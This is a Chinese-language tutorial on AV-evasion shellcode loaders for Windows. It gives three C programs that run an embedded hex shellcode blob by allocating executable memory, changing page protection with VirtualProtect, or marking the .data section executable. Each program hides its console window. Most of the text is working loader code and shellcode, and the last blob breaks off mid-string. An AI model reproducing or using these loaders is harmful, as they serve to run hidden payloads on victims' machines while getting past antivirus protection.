示例:指针运行
通过修改内存属性、修改data段属性、新增数据段等方式改变shellcode的存放位置,以此达到规避杀软的一个效果。
1.原始版本
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口unsigned char sc[] = "\x90\xe8\x2d\x05\x00\x00\x32\x0c\xc2\x57\x38\x3e\xed\xfa\x4e\x90\xc7\xf2\x04\x00\x80\x9a\x00\x45\x30\x2c\x0e\x45\x02\x2c\x0e\xe2\xf6\xab\x87\x6f\x8f\x8b\x8b\x43\x61\x3b\xbc\x59\xf7\xa6\x15\xab\x20\x55\x20\x19\xec\x63\x41\x66\x66\xc2\x8a\xbe\x36\x72\x08\x3c\xb0\xaa\x18\xa2\x60\xab\xd2\x19\xa0\xcf\x8f\x05\xfe\xbf\xbc\x2c\x5d\x62\x31\x5e\x5b\x9d\x3e\x3e\x47\x96\x3a\xbe\xee\xc7\x9f\x6d\x49\x1c\xa9\x96\x70\x96\xdd\x93\xf2\x34\x53\x57\x97\x04\x87\x40\xe1\xdf\x1c\x9b\x3e\xbd\x22\x8b\xd9\xd2\xe7\xeb\x0f\x17\x73\x52\xaf\x78\xeb\x09\x9a\xf6\x24\x41\x36\xd6\x5a\x85\xb2\x9b\x83\x0d\x11\x3f\xfd\x77\xa3\xc8\x32\x05\xbd\xab\x7a\xe7\x74\xbf\x0c\xb6\x17\x0b\x36\x2d\x51\xdb\x34\xee\x6c\x66\x56\xc9\x69\x58\x1b\x5c\x2f\x0e\x1f\x30\x05\xef\x1e\x8c\x99\xbd\x9f\xa1\x0e\xc7\xc5\x88\x64\x18\xda\xab\x6b\x8b\x37\xf9\x70\xad\x87\xb3\x76\x7e\xb0\x3e\x70\x9f\xbe\x15\x9d\x13\x2f\x7b\x9c\xde\x17\x97\x1c\xa6\xea\x08\x73\x1b\x75\xbd\x8c\xb4\x00\xd3\xc3\xda\x89\xdb\x88\x56\x56\xac\x42\x50\x64\x90\x6f\x6a\x87\xd7\xbe\x2c\x0a\xba\xe5\xe3\x01\xb0\x0e\xf1\xec\x99\x6d\xd6\xc1\xaf\x94\xf4\x5c\x60\x28\xdf\xe4\xa6\xed\x4e\xc3\x24\x04\x6c\x4c\x53\x85\x0f\x11\x80\x39\xd3\xf6\xbf\x89\xc1\x59\x21\xbf\x37\x92\xb8\x4a\x47\x3b\x2a\xdc\xa3\xad\x12\xf9\xc9\x78\xc7\xc0\x62\x06\x74\x0b\xd3\x8a\x8b\xed\x62\x34\xe4\x2b\x58\x46\xa8\x98\xfc\x18\xf4\xea\xb5\xb6\x07\xf6\xbd\x4e\x87\xe3\xd6\xad\x21\xf4\x90\xe3\x18\x35\x3c\x88\x3c\x70\x81\xb3\x02\xa0\xe0\x53\x86\x2c\x1e\xc0\xf3\x00\x7a\x31\x72\x9a\x35\x2d\x98\xed\x5d\xb5\xbc\xd9\xf3\xaa\x85\x75\xa3\xa6\xad\x2f\x06\x08\xac\x7a\x9c\x1b\xca\xf4\xd3\x69\xbb\xb8\xb9\x49\x89\xa9\xce\xf6\x4f\xa1\x60\x92\x27\x06\xf4\x1c\x57\xbb\x00\x13\x2e\x24\x14\xea\x49\x6e\x0a\xf2\x3f\x5f\x6c\x23\x10\xde\x84\xb4\x34\x20\xb3\x68\x75\xf3\x8c\x4e\x07\xc4\xfb\xbc\xdd\x18\xb5\xf7\x83\x86\x00\x3b\xff\xbc\xdf\xeb\x82\x83\xb8\x2d\xf0\x97\x4c\x56\xfb\x91\x9f\x72\x5b\xad\xd6\xd3\x01\xfa\x3f\x1f\xc6\x69\x02\x39\xca\xa7\x2f\x3a\x5a\x21\xa7\x63\x58\x99\xd3\x3d\x78\xea\xaa\xb5\x44\x57\x65\x20\xcd\xcd\x55\x51\x5f\x6a\x6b\x48\x85\x80\xea\xb5\x27\x00\x8d\x34\xec\xce\x03\x9d\xb5\xd9\x0b\x75\xd8\x33\xf7\xdc\xbd\x1d\x15\xec\x66\x16\x98\x54\xfb\x4f\x30\x41\xce\x37\xb4\x1f\xfe\x01\xba\x81\xe8\xed\x64\x0e\xec\xf9\x67\xf2\x9a\x8e\x64\x43\xc0\x37\x7c\x05\xd5\x91\xb9\xcf\xdb\x45\xca\x28\xf6\x35\x7f\xd1\xee\xac\xea\x3f\x70\x9f\x01\x73\xee\x51\x1b\x66\xe6\x15\xb9\x3e\x7b\x96\xf5\xd0\x2b\xe7\x68\xfc\x53\xaf\xc4\xf2\x88\xd8\xd6\xaf\xe4\xc4\x2e\xdb\xd9\xe3\xec\x78\x80\xa0\x89\x15\x93\x48\xc3\x7e\x82\xab\x59\xb0\x4b\x89\x15\xeb\xe0\x12\x49\x80\xf0\x57\x38\xd7\x66\x35\xba\x56\x8f\x8c\x01\xe5\xff\x53\x92\xd1\x19\x44\xa2\x3a\xf4\xa0\xb3\xad\x86\x67\x17\xb2\x49\x5c\xd4\xba\xa4\x85\xc7\x69\x3e\xab\x09\x4a\x31\x69\x26\x28\x5c\x32\xce\x08\xe1\x66\xdd\x8d\x47\xa0\x68\x9b\x1a\xdc\xee\x94\x1f\x73\x0c\x41\xd3\xc9\x25\xed\xe5\x02\x92\x9b\x84\x02\x0b\x73\x0f\x77\x98\x18\xdb\x0e\x98\xb8\x1b\xba\x4f\xa2\x1a\x90\x3b\x4d\x4d\xd7\xc3\x9d\x49\x1e\x4b\xaa\x01\xa4\x6b\xd1\x27\xaa\x25\x79\x5a\x4e\x42\x75\x2c\x2b\xa5\x04\x0e\xed\x01\xf7\x58\xb7\xdd\xc4\xdb\x07\x74\x6a\x63\x2d\x16\xb5\x19\x5d\xed\xc4\x20\x64\xd6\x5e\xd7\xa7\xa8\xf8\xae\x3b\xb3\x2b\xd5\xfb\x62\x3a\x69\x6f\x4b\x57\xd2\xe8\xe1\x30\x9b\xc8\x47\xf2\x46\x30\x7d\x51\x4f\xfb\x5e\xc7\x61\x3f\x18\xbc\x25\xc1\x72\xdd\xef\x64\x40\xce\xcb\x55\xc4\x31\x3c\xc5\xa2\x34\x1a\xd9\x8e\xba\x6f\x32\xcc\xbb\x72\x0b\xac\xd5\x57\x8e\x7c\xe2\x10\xd2\xe8\xad\xd0\x47\x91\x15\xff\x38\x99\x36\x06\x4f\x3f\x81\x8a\x97\xf3\x86\xee\x5e\x19\x85\x33\xb3\xd0\xf5\x12\x90\x3c\x5a\x29\xce\xa6\x70\xd8\x93\x62\x9c\x9e\x37\xda\x94\xcf\x76\x4b\xee\xc4\x70\x6d\x81\xd1\x0d\x6c\x6a\x8e\x71\xbe\x0c\x9e\xf2\xc3\xb0\x59\xce\x92\xcc\xc4\xb4\x48\xe3\x32\x1d\x26\x57\x46\xca\x68\x52\x25\x0c\x4b\xc2\xb5\x30\xa5\x34\xd9\x77\xae\xcf\xaa\x5f\x03\xc9\xd4\x42\xfe\x82\xd2\xd8\xfd\xd7\x2c\x50\x35\x0f\xb4\x13\xca\x4e\x7e\xaa\xc9\x2e\x89\x90\x54\xa7\xd3\x37\x45\x01\xd6\x22\xf1\x40\xf5\xba\x27\xdd\x7c\xcf\x54\x58\xf9\x21\x17\xe8\x4f\xe9\x1f\x83\xc7\x92\x8c\x1d\xe2\x5e\xb6\xc4\x98\xa0\x07\x80\xbd\x97\x82\x8a\x11\x04\x38\x2d\x8c\x11\x09\x05\xd9\xd1\x35\x66\x29\x19\xd2\x78\x0c\x41\x95\xc6\x4a\xbb\xa7\x6c\x58\x2f\xd6\x11\xc9\x3c\x2d\xb6\x65\x93\xc1\x81\xbe\xed\x1b\xb8\xc4\xa9\xc0\x3b\xc7\x0d\x04\x89\xf2\x46\xbb\xc7\xf5\x11\xd8\xc2\xbc\x6c\x7f\x6c\x6a\x17\xf6\x39\x2d\x20\xec\x2c\xd2\xbe\x3d\x97\xf1\xbd\xad\xb6\xfd\x2c\xe7\xd6\x2a\x0c\xa9\x1f\x23\xbd\x4f\x21\x2d\xb7\x9d\x79\x66\x7a\x1d\x86\x70\x69\x02\x4b\x3e\x91\x83\x0c\xce\x1b\xf9\x9c\xaf\x5f\xd2\x56\xc3\x14\x10\xda\xd4\x1e\x15\x92\x30\xe4\x8b\xc1\x1b\x8b\x6a\x25\xe5\x37\x5c\x20\xd5\x2c\x16\x6a\xdb\xbe\xfb\x2e\x91\x4c\xfd\x41\x3a\x2d\x07\x8b\x2b\x25\x5f\x88\x06\x28\xb2\x18\x70\x33\x50\xed\xa9\x1a\x0e\xec\xe1\x8e\xf4\xa9\x97\xce\x88\xde\xf2\x25\x86\x85\x8d\xff\xb5\x34\x86\x34\xec\xc8\x71\xb8\xfe\x80\x22\x4c\x5e\x64\x9d\xd2\xf2\xcd\xce\x83\x64\xf0\xb7\x78\x91\xac\xf9\xc2\x28\x56\xb0\x1f\xaf\x24\xd4\x3e\xeb\x43\x9b\x57\xfd\x56\xc1\xfe\x34\x37\xf2\x2f\x9d\xea\x68\x31\x0c\xd5\xdc\x36\xe2\xe7\x60\xf3\x3b\xa9\xcf\x1b\xd0\xd7\x08\x21\xba\xec\x88\x45\xf2\x7f\xd8\x50\x03\x27\x7b\xac\x1d\x47\xaa\x0d\x57\xc4\xf4\x8e\x27\x75\x6b\x91\x91\x50\xd0\xc0\x8c\xa8\x87\x13\x06\x32\xed\xa0\x5f\x3a\x35\x3b\xea\x7a\x8b\xb7\x3c\xd0\xe4\xaa\xd1\x3d\xb5\xf2\x2b\x27\xe3\xa1\x59\x16\x47\x23\x07\xfb\x52\xdf\x64\x3d\x7a\xf3\x47\x53\x5b\xb0\xf5\xb2\x80\xc1\xb8\xfc\xc0\x28\x10\x41\xa0\x76\xc7\xb0\x48\x8b\x3c\x24\x48\x83\xec\x08\x81\x2f\xf1\x56\x6d\x0f\xf7\x57\x04\x81\x77\x08\x4e\x90\x8b\x7f\xc1\x47\x0c\x49\xff\xe7";void main()
{LPVOID addr = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);if (addr == NULL) {return;}memcpy(addr, sc, sizeof(sc));((void(*)())addr)(); // addr强转成函数指针 , 加() , 调用函数 , 运行这块内存中的shellcode代码
}
解释:(void(*)()) 是一个函数指针类型的强制转换, 该函数指针指向一个没有参数且返回值类型为void的函数,也就是说这行代码将 addr 的地址转换为一个函数指针,然后调用该指针所指向的函数。
2.修改内存属性(优化)
默认保存数据的内存是不可执行的,通过更改这块内存的属性为可执行,使shellcode可以正常执行,从而规避了 VirtualAlloc 函数的使用。
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口unsigned char sc[] = "\x90\xe8\x2d\x05\x00\x00\x32\x0c\xc2\x57\x38\x3e\xed\xfa\x4e\x90\xc7\xf2\x04\x00\x80\x9a\x00\x45\x30\x2c\x0e\x45\x02\x2c\x0e\xe2\xf6\xab\x87\x6f\x8f\x8b\x8b\x43\x61\x3b\xbc\x59\xf7\xa6\x15\xab\x20\x55\x20\x19\xec\x63\x41\x66\x66\xc2\x8a\xbe\x36\x72\x08\x3c\xb0\xaa\x18\xa2\x60\xab\xd2\x19\xa0\xcf\x8f\x05\xfe\xbf\xbc\x2c\x5d\x62\x31\x5e\x5b\x9d\x3e\x3e\x47\x96\x3a\xbe\xee\xc7\x9f\x6d\x49\x1c\xa9\x96\x70\x96\xdd\x93\xf2\x34\x53\x57\x97\x04\x87\x40\xe1\xdf\x1c\x9b\x3e\xbd\x22\x8b\xd9\xd2\xe7\xeb\x0f\x17\x73\x52\xaf\x78\xeb\x09\x9a\xf6\x24\x41\x36\xd6\x5a\x85\xb2\x9b\x83\x0d\x11\x3f\xfd\x77\xa3\xc8\x32\x05\xbd\xab\x7a\xe7\x74\xbf\x0c\xb6\x17\x0b\x36\x2d\x51\xdb\x34\xee\x6c\x66\x56\xc9\x69\x58\x1b\x5c\x2f\x0e\x1f\x30\x05\xef\x1e\x8c\x99\xbd\x9f\xa1\x0e\xc7\xc5\x88\x64\x18\xda\xab\x6b\x8b\x37\xf9\x70\xad\x87\xb3\x76\x7e\xb0\x3e\x70\x9f\xbe\x15\x9d\x13\x2f\x7b\x9c\xde\x17\x97\x1c\xa6\xea\x08\x73\x1b\x75\xbd\x8c\xb4\x00\xd3\xc3\xda\x89\xdb\x88\x56\x56\xac\x42\x50\x64\x90\x6f\x6a\x87\xd7\xbe\x2c\x0a\xba\xe5\xe3\x01\xb0\x0e\xf1\xec\x99\x6d\xd6\xc1\xaf\x94\xf4\x5c\x60\x28\xdf\xe4\xa6\xed\x4e\xc3\x24\x04\x6c\x4c\x53\x85\x0f\x11\x80\x39\xd3\xf6\xbf\x89\xc1\x59\x21\xbf\x37\x92\xb8\x4a\x47\x3b\x2a\xdc\xa3\xad\x12\xf9\xc9\x78\xc7\xc0\x62\x06\x74\x0b\xd3\x8a\x8b\xed\x62\x34\xe4\x2b\x58\x46\xa8\x98\xfc\x18\xf4\xea\xb5\xb6\x07\xf6\xbd\x4e\x87\xe3\xd6\xad\x21\xf4\x90\xe3\x18\x35\x3c\x88\x3c\x70\x81\xb3\x02\xa0\xe0\x53\x86\x2c\x1e\xc0\xf3\x00\x7a\x31\x72\x9a\x35\x2d\x98\xed\x5d\xb5\xbc\xd9\xf3\xaa\x85\x75\xa3\xa6\xad\x2f\x06\x08\xac\x7a\x9c\x1b\xca\xf4\xd3\x69\xbb\xb8\xb9\x49\x89\xa9\xce\xf6\x4f\xa1\x60\x92\x27\x06\xf4\x1c\x57\xbb\x00\x13\x2e\x24\x14\xea\x49\x6e\x0a\xf2\x3f\x5f\x6c\x23\x10\xde\x84\xb4\x34\x20\xb3\x68\x75\xf3\x8c\x4e\x07\xc4\xfb\xbc\xdd\x18\xb5\xf7\x83\x86\x00\x3b\xff\xbc\xdf\xeb\x82\x83\xb8\x2d\xf0\x97\x4c\x56\xfb\x91\x9f\x72\x5b\xad\xd6\xd3\x01\xfa\x3f\x1f\xc6\x69\x02\x39\xca\xa7\x2f\x3a\x5a\x21\xa7\x63\x58\x99\xd3\x3d\x78\xea\xaa\xb5\x44\x57\x65\x20\xcd\xcd\x55\x51\x5f\x6a\x6b\x48\x85\x80\xea\xb5\x27\x00\x8d\x34\xec\xce\x03\x9d\xb5\xd9\x0b\x75\xd8\x33\xf7\xdc\xbd\x1d\x15\xec\x66\x16\x98\x54\xfb\x4f\x30\x41\xce\x37\xb4\x1f\xfe\x01\xba\x81\xe8\xed\x64\x0e\xec\xf9\x67\xf2\x9a\x8e\x64\x43\xc0\x37\x7c\x05\xd5\x91\xb9\xcf\xdb\x45\xca\x28\xf6\x35\x7f\xd1\xee\xac\xea\x3f\x70\x9f\x01\x73\xee\x51\x1b\x66\xe6\x15\xb9\x3e\x7b\x96\xf5\xd0\x2b\xe7\x68\xfc\x53\xaf\xc4\xf2\x88\xd8\xd6\xaf\xe4\xc4\x2e\xdb\xd9\xe3\xec\x78\x80\xa0\x89\x15\x93\x48\xc3\x7e\x82\xab\x59\xb0\x4b\x89\x15\xeb\xe0\x12\x49\x80\xf0\x57\x38\xd7\x66\x35\xba\x56\x8f\x8c\x01\xe5\xff\x53\x92\xd1\x19\x44\xa2\x3a\xf4\xa0\xb3\xad\x86\x67\x17\xb2\x49\x5c\xd4\xba\xa4\x85\xc7\x69\x3e\xab\x09\x4a\x31\x69\x26\x28\x5c\x32\xce\x08\xe1\x66\xdd\x8d\x47\xa0\x68\x9b\x1a\xdc\xee\x94\x1f\x73\x0c\x41\xd3\xc9\x25\xed\xe5\x02\x92\x9b\x84\x02\x0b\x73\x0f\x77\x98\x18\xdb\x0e\x98\xb8\x1b\xba\x4f\xa2\x1a\x90\x3b\x4d\x4d\xd7\xc3\x9d\x49\x1e\x4b\xaa\x01\xa4\x6b\xd1\x27\xaa\x25\x79\x5a\x4e\x42\x75\x2c\x2b\xa5\x04\x0e\xed\x01\xf7\x58\xb7\xdd\xc4\xdb\x07\x74\x6a\x63\x2d\x16\xb5\x19\x5d\xed\xc4\x20\x64\xd6\x5e\xd7\xa7\xa8\xf8\xae\x3b\xb3\x2b\xd5\xfb\x62\x3a\x69\x6f\x4b\x57\xd2\xe8\xe1\x30\x9b\xc8\x47\xf2\x46\x30\x7d\x51\x4f\xfb\x5e\xc7\x61\x3f\x18\xbc\x25\xc1\x72\xdd\xef\x64\x40\xce\xcb\x55\xc4\x31\x3c\xc5\xa2\x34\x1a\xd9\x8e\xba\x6f\x32\xcc\xbb\x72\x0b\xac\xd5\x57\x8e\x7c\xe2\x10\xd2\xe8\xad\xd0\x47\x91\x15\xff\x38\x99\x36\x06\x4f\x3f\x81\x8a\x97\xf3\x86\xee\x5e\x19\x85\x33\xb3\xd0\xf5\x12\x90\x3c\x5a\x29\xce\xa6\x70\xd8\x93\x62\x9c\x9e\x37\xda\x94\xcf\x76\x4b\xee\xc4\x70\x6d\x81\xd1\x0d\x6c\x6a\x8e\x71\xbe\x0c\x9e\xf2\xc3\xb0\x59\xce\x92\xcc\xc4\xb4\x48\xe3\x32\x1d\x26\x57\x46\xca\x68\x52\x25\x0c\x4b\xc2\xb5\x30\xa5\x34\xd9\x77\xae\xcf\xaa\x5f\x03\xc9\xd4\x42\xfe\x82\xd2\xd8\xfd\xd7\x2c\x50\x35\x0f\xb4\x13\xca\x4e\x7e\xaa\xc9\x2e\x89\x90\x54\xa7\xd3\x37\x45\x01\xd6\x22\xf1\x40\xf5\xba\x27\xdd\x7c\xcf\x54\x58\xf9\x21\x17\xe8\x4f\xe9\x1f\x83\xc7\x92\x8c\x1d\xe2\x5e\xb6\xc4\x98\xa0\x07\x80\xbd\x97\x82\x8a\x11\x04\x38\x2d\x8c\x11\x09\x05\xd9\xd1\x35\x66\x29\x19\xd2\x78\x0c\x41\x95\xc6\x4a\xbb\xa7\x6c\x58\x2f\xd6\x11\xc9\x3c\x2d\xb6\x65\x93\xc1\x81\xbe\xed\x1b\xb8\xc4\xa9\xc0\x3b\xc7\x0d\x04\x89\xf2\x46\xbb\xc7\xf5\x11\xd8\xc2\xbc\x6c\x7f\x6c\x6a\x17\xf6\x39\x2d\x20\xec\x2c\xd2\xbe\x3d\x97\xf1\xbd\xad\xb6\xfd\x2c\xe7\xd6\x2a\x0c\xa9\x1f\x23\xbd\x4f\x21\x2d\xb7\x9d\x79\x66\x7a\x1d\x86\x70\x69\x02\x4b\x3e\x91\x83\x0c\xce\x1b\xf9\x9c\xaf\x5f\xd2\x56\xc3\x14\x10\xda\xd4\x1e\x15\x92\x30\xe4\x8b\xc1\x1b\x8b\x6a\x25\xe5\x37\x5c\x20\xd5\x2c\x16\x6a\xdb\xbe\xfb\x2e\x91\x4c\xfd\x41\x3a\x2d\x07\x8b\x2b\x25\x5f\x88\x06\x28\xb2\x18\x70\x33\x50\xed\xa9\x1a\x0e\xec\xe1\x8e\xf4\xa9\x97\xce\x88\xde\xf2\x25\x86\x85\x8d\xff\xb5\x34\x86\x34\xec\xc8\x71\xb8\xfe\x80\x22\x4c\x5e\x64\x9d\xd2\xf2\xcd\xce\x83\x64\xf0\xb7\x78\x91\xac\xf9\xc2\x28\x56\xb0\x1f\xaf\x24\xd4\x3e\xeb\x43\x9b\x57\xfd\x56\xc1\xfe\x34\x37\xf2\x2f\x9d\xea\x68\x31\x0c\xd5\xdc\x36\xe2\xe7\x60\xf3\x3b\xa9\xcf\x1b\xd0\xd7\x08\x21\xba\xec\x88\x45\xf2\x7f\xd8\x50\x03\x27\x7b\xac\x1d\x47\xaa\x0d\x57\xc4\xf4\x8e\x27\x75\x6b\x91\x91\x50\xd0\xc0\x8c\xa8\x87\x13\x06\x32\xed\xa0\x5f\x3a\x35\x3b\xea\x7a\x8b\xb7\x3c\xd0\xe4\xaa\xd1\x3d\xb5\xf2\x2b\x27\xe3\xa1\x59\x16\x47\x23\x07\xfb\x52\xdf\x64\x3d\x7a\xf3\x47\x53\x5b\xb0\xf5\xb2\x80\xc1\xb8\xfc\xc0\x28\x10\x41\xa0\x76\xc7\xb0\x48\x8b\x3c\x24\x48\x83\xec\x08\x81\x2f\xf1\x56\x6d\x0f\xf7\x57\x04\x81\x77\x08\x4e\x90\x8b\x7f\xc1\x47\x0c\x49\xff\xe7"; // 此处放你的shellcodeint main() {DWORD oldProtect = 0;// 修改数据内存属性为可执行VirtualProtect(sc, sizeof(sc), PAGE_EXECUTE_READWRITE, &oldProtect);// 把这个内存的数据转成指针函数, 函数()调用 , 执行shellcode代码 , 不能执行就很奇怪((void(*)()) & sc)(); //&sc
}
3.修改data段属性(再优化)
默认全局变量是存放在data段, 修改成可执行即可。
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
#pragma comment(linker, "/section:.data,RWE")//设置 data段可读可写可执行
//全局变量在 data段
unsigned char sc[] = "\x90\xe8\x2d\x05\x00\x00\x32\x0c\xc2\x57\x38\x3e\xed\xfa\x4e\x90\xc7\xf2\x04\x00\x80\x9a\x00\x45\x30\x2c\x0e\x45\x02\x2c\x0e\xe2\xf6\xab\x87\x6f\x8f\x8b\x8b\x43\x61\x3b\xbc\x59\xf7\xa6\x15\xab\x20\x55\x20\x19\xec\x63\x41\x66\x66\xc2\x8a\xbe\x36\x72\x08\x3c\xb0\xaa\x18\xa2\x60\xab\xd2\x19\xa0\xcf\x8f\x05\xfe\xbf\xbc\x2c\x5d\x62\x31\x5e\x5b\x9d\x3e\x3e\x47\x96\x3a\xbe\xee\xc7\x9f\x6d\x49\x1c\xa9\x96\x70\x96\xdd\x93\xf2\x34\x53\x57\x97\x04\x87\x40\xe1\xdf\x1c\x9b\x3e\xbd\x22\x8b\xd9\xd2\xe7\xeb\x0f\x17\x73\x52\xaf\x78\xeb\x09\x9a\xf6\x24\x41\x36\xd6\x5a\x85\xb2\x9b\x83\x0d\x11\x3f\xfd\x77\xa3\xc8\x32\x05\xbd\xab\x7a\xe7\x74\xbf\x0c\xb6\x17\x0b\x36\x2d\x51\xdb\x34\xee\x6c\x66\x56\xc9\x69\x58\x1b\x5c\x2f\x0e\x1f\x30\x05\xef\x1e\x8c\x99\xbd\x9f\xa1\x0e\xc7\xc5\x88\x64\x18\xda\xab\x6b\x8b\x37\xf9\x70\xad\x87\xb3\x76\x7e\xb0\x3e\x70\x9f\xbe\x15\x9d\x13\x2f\x7b\x9c\xde\x17\x97\x1c\xa6\xea\x08\x73\x1b\x75\xbd\x8c\xb4\x00\xd3\xc3\xda\x89\xdb\x88\x56\x56\xac\x42\x50\x64\x90\x6f\x6a\x87\xd7\xbe\x2c\x0a\xba\xe5\xe3\x01\xb0\x0e\xf1\xec\x99\x6d\xd6\xc1\xaf\x94\xf4\x5c\x60\x28\xdf\xe4\xa6\xed\x4e\xc3\x24\x04\x6c\x4c\x53\x85\x0f\x11\x80\x39\xd3\xf6\xbf\x89\xc1\x59\x21\xbf\x37\x92\xb8\x4a\x47\x3b\x2a\xdc\xa3\xad\x12\xf9\xc9\x78\xc7\xc0\x62\x06\x74\x0b\xd3\x8a\x8b\xed\x62\x34\xe4\x2b\x58\x46\xa8\x98\xfc\x18\xf4\xea\xb5\xb6\x07\xf6\xbd\x4e\x87\xe3\xd6\xad\x21\xf4\x90\xe3\x18\x35\x3c\x88\x3c\x70\x81\xb3\x02\xa0\xe0\x53\x86\x2c\x1e\xc0\xf3\x00\x7a\x31\x72\x9a\x35\x2d\x98\xed\x5d\xb5\xbc\xd9\xf3\xaa\x85\x75\xa3\xa6\xad\x2f\x06\x08\xac\x7a\x9c\x1b\xca\xf4\xd3\x69\xbb\xb8\xb9\x49\x89\xa9\xce\xf6\x4f\xa1\x60\x92\x27\x06\xf4\x1c\x57\xbb\x00\x13\x2e\x24\x14\xea\x49\x6e\x0a\xf2\x3f\x5f\x6c\x23\x10\xde\x84\xb4\x34\x20\xb3\x68\x75\xf3\x8c\x4e\x07\xc4\xfb\xbc\xdd\x18\xb5\xf7\x83\x86\x00\x3b\xff\xbc\xdf\xeb\x82\x83\xb8\x2d\xf0\x97\x4c\x56\xfb\x91\x9f\x72\x5b\xad\xd6\xd3\x01\xfa\x3f\x1f\xc6\x69\x02\x39\xca\xa7\x2f\x3a\x5a\x21\xa7\x63\x58\x99\xd3\x3d\x78\xea\xaa\xb5\x44\x57\x65\x20\xcd\xcd\x55\x51\x5f\x6a\x6b\x48\x85\x80\xea\xb5\x27\x00\x8d\x34\xec\xce\x03\x9d\xb5\xd9\x0b\x75\xd8\x33\xf7\xdc\xbd\x1d\x15\xec\x66\x16\x98\x54\xfb\x4f\x30\x41\xce\x37\xb4\x1f\xfe\x01\xba\x81\xe8\xed\x64\x0e\xec\xf9\x67\xf2\x9a\x8e\x64\x43\xc0\x37\x7c\x05\xd5\x91\xb9\xcf\xdb\x45\xca\x28\xf6\x35\x7f\xd1\xee\xac\xea\x3f\x70\x9f\x01\x73\xee\x51\x1b\x66\xe6\x15\xb9\x3e\x7b\x96\xf5\xd0\x2b\xe7\x68\xfc\x53\xaf\xc4\xf2\x88\xd8\xd6\xaf\xe4\xc4\x2e\xdb\xd9\xe3\xec\x78\x80\xa0\x89\x15\x93\x48\xc3\x7e\x82\xab\x59\xb0\x4b\x89\x15\xeb\xe0\x12\x49\x80\xf0\x57\x38\xd7\x66\x35\xba\x56\x8f\x8c\x01\xe5\xff\x53\x92\xd1\x19\x44\xa2\x3a\xf4\xa0\xb3\xad\x86\x67\x17\xb2\x49\x5c\xd4\xba\xa4\x85\xc7\x69\x3e\xab\x09\x4a\x31\x69\x26\x28\x5c\x32\xce\x08\xe1\x66\xdd\x8d\x47\xa0\x68\x9b\x1a\xdc\xee\x94\x1f\x73\x0c\x41\xd3\xc9\x25\xed\xe5\x02\x92\x9b\x84\x02\x0b\x73\x0f\x77\x98\x18\xdb\x0e\x98\xb8\x1b\xba\x4f\xa2\x1a\x90\x3b\x4d\x4d\xd7\xc3\x9d\x49\x1e\x4b\xaa\x01\xa4\x6b\xd1\x27\xaa\x25\x79\x5a\x4e\x42\x75\x2c\x2b\xa5\x04\x0e\xed\x01\xf7\x58\xb7\xdd\xc4\xdb\x07\x74\x6a\x63\x2d\x16\xb5\x19\x5d\xed\xc4\x20\x64\xd6\x5e\xd7\xa7\xa8\xf8\xae\x3b\xb3\x2b\xd5\xfb\x62\x3a\x69\x6f\x4b\x57\xd2\xe8\xe1\x30\x9b\xc8\x47\xf2\x46\x30\x7d\x51\x4f\xfb\x5e\xc7\x61\x3f\x18\xbc\x25\xc1\x72\xdd\xef\x64\x40\xce\xcb\x55\xc4\x31\x3c\xc5\xa2\x34\x1a\xd9\x8e\xba\x6f\x32\xcc\xbb\x72\x0b\xac\xd5\x57\x8e\x7c\xe2\x10\xd2\xe8\xad\xd0\x47\x91\x15\xff\x38\x99\x36\x06\x4f\x3f\x81\x8a\x97\xf3\x86\xee\x5e\x19\x85\x33\xb3\xd0\xf5\x12\x90\x3c\x5a\x29\xce\xa6\x70\xd8\x93\x62\x9c\x9e\x37\xda\x94\xcf\x76\x4b\xee\xc4\x70\x6d\x81\xd1\x0d\x6c\x6a\x8e\x71\xbe\x0c\x9e\xf2\xc3\xb0\x59\xce\x92\xcc\xc4\xb4\x48\xe3\x32\x1d\x26\x57\x46\xca\x68\x52\x25\x0c\x4b\xc2\xb5\x30\xa5\x34\xd9\x77\xae\xcf\xaa\x5f\x03\xc9\xd4\x42\xfe\x82\xd2\xd8\xfd\xd7\x2c\x50\x35\x0f\xb4\x13\xca\x4e\x7e\xaa\xc9\x2e\x89\x90\x54\xa7\xd3\x37\x45\x01\xd6\x22\xf1\x40\xf5\xba\x27\xdd\x7c\xcf\x54\x58\xf9\x21\x17\xe8\x4f\xe9\x1f\x83\xc7\x92\x8c\x1d\xe2\x5e\xb6\xc4\x98\xa0\x07\x80\xbd\x97\x82\x8a\x11\x04\x38\x2d\x8c\x11\x09\x05\xd9\xd1\x35\x66\x29\x19\xd2\x78\x0c\x41\x95\xc6\x4a\xbb\xa7\x6c\x58\x2f\xd6\x11\xc9\x3c\x2d\xb6\x65\x93\xc1\x81\xbe\xed\x1b\xb8\xc4\xa9\xc0\x3b\xc7\x0d\x04\x89\xf2\x46\xbb\xc7\xf5\x11\xd8\xc2\xbc\x6c\x7f\x6c\x6a\x17\xf6\x39\x2d\x20\xec\x2c\xd2\xbe\x3d\x97\xf1\xbd\xad\xb6\xfd\x2c\xe7\xd6\x2a\x0c\xa9\x1f\x23\xbd\x4f\x21\x2d\xb7\x9d\x79\x66\x7a\x1d\x86\x70\x69\x02\x4b\x3e\x91\x83\x0c\xce\x1b\xf9\x9c\xaf\x5f\xd2\x56\xc3\x14\x10\xda\xd4\x1e\x15\x92\x30\xe4\x8b\xc1\x1b\x8b\x6a\x25\xe5\x37\x5c\x20\xd5\x2c\x16\x6a\xdb\xbe\xfb\x2e\x91\x4c\xfd\x41\x3a\x2d\x07\x8b\x2b\x25\x5f\x88\x06\x28\xb2\x18\x70\x33\x50\xed\xa9\x1a\x0e\xec\xe1\x8e\xf4\xa9\x97\xce\x88\xde\xf2\x25\x86\x85\x8d\xff\xb5\x34\x86\x34\xec\xc8\x71\xb8\xfe\x80\x22\x4c\x5e\x64\x9d\xd2\xf2\xcd\xce\x83\x64\xf0\xb7\x78\x91\xac\xf9\xc2\x28\x56\xb0\x1f\xaf\x24\xd4\x3e\xeb\x43\x9b\x57\xfd\x56\xc1\xfe\x34\x37\xf2\x2f\x9d\xea\x68\x31\x0c\xd5\xdc\x36\xe2\xe7\x60\xf3\x3b\xa9\xcf\x1b\xd0\xd7\x08\x21\xba\xec\x88\x45\xf2\x7f\xd8\x50\x03\x27\x7b\xac\x1d\x47\xaa\x0d\x57\xc4\xf4\x8e\x2